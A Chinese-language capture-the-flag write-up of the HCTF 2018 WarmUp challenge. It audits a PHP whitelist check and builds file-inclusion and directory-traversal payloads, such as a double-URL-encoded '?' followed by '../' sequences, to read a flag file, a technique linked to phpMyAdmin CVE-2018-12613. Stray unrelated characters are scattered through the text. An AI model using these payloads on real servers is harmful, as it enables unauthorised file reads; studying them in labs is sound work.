復現(xiàn)環(huán)境
https://buuoj.cn/challenges#[HCTF%202018]WarmUp
考察知識點
- 代碼審計
- phpmyadmin4.8.1遠程文件包含漏洞 CVE-2018-12613
- 文件包含+目錄繞過
解題分析
訪問題目是一個表情的圖片癣籽,查看源碼發(fā)現(xiàn)!--source.php-->
骂蓖,直接訪問這個文件馁菜,可以看到題目源碼忙厌。
分兩部分來看,首先是checkFile函數(shù)
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //設置白名單
if (! isset($page) || !is_string($page)) { //$page值不為空且是字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //判斷$page是否在白名單里面
return true;
}
$_page = mb_substr( // 用牲距?來分割$page值
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //URL編碼$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
我們來分析一下都有哪些檢查:
- 判斷傳入的參數(shù)不為空且為字符串
- 判斷是否在白名單里
mb_strpos — 查找字符串在另一個字符串中首次出現(xiàn)的位置
mb_substr — 獲取部分字符串
- 以問號分割再次判斷引號前的部分是否在白名單
urldecode — 解碼已編碼的 URL 字符串
- URL解碼后再次判斷引號前的部分是否在白名單
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
接收file參數(shù)返咱,傳入checkfile進行過濾,如果通過過濾的話嗅虏,就會通過文件包含顯示文件內容洛姑。
接下來訪問一下hint.php,看到提示flag not here, and flag in ffffllllaaaagggg
這時候基本可以確定要文件包含的是ffffllllaaaagggg皮服,直接訪問文件為404楞艾,說明flag文件不在同目錄。
構造:
?file=source.php?/../ffffllllaaaagggg
繞過白名單檢測可以到達第三個判斷條件
page);此處是一個url解碼龄广,所以需要構造一個url編碼的字符
?file=source.php%253f../ffffllllaaaagggg
此時就可以通過第四個判斷條件
但還需要找到ffffllllaaaagggg文件的位置硫眯,通過../../../遞歸找到文件位置
?file=source.php%253f../../../../../ffffllllaaaagggg
至此成功獲取到flag。
后來在網(wǎng)上發(fā)現(xiàn)不編碼也可以解出來....應該是直接試出來的吧择同。
payload:
file=hint.php?../../../../../ffffllllaaaagggg
或者 file=source.php?../../../../../ffffllllaaaagggg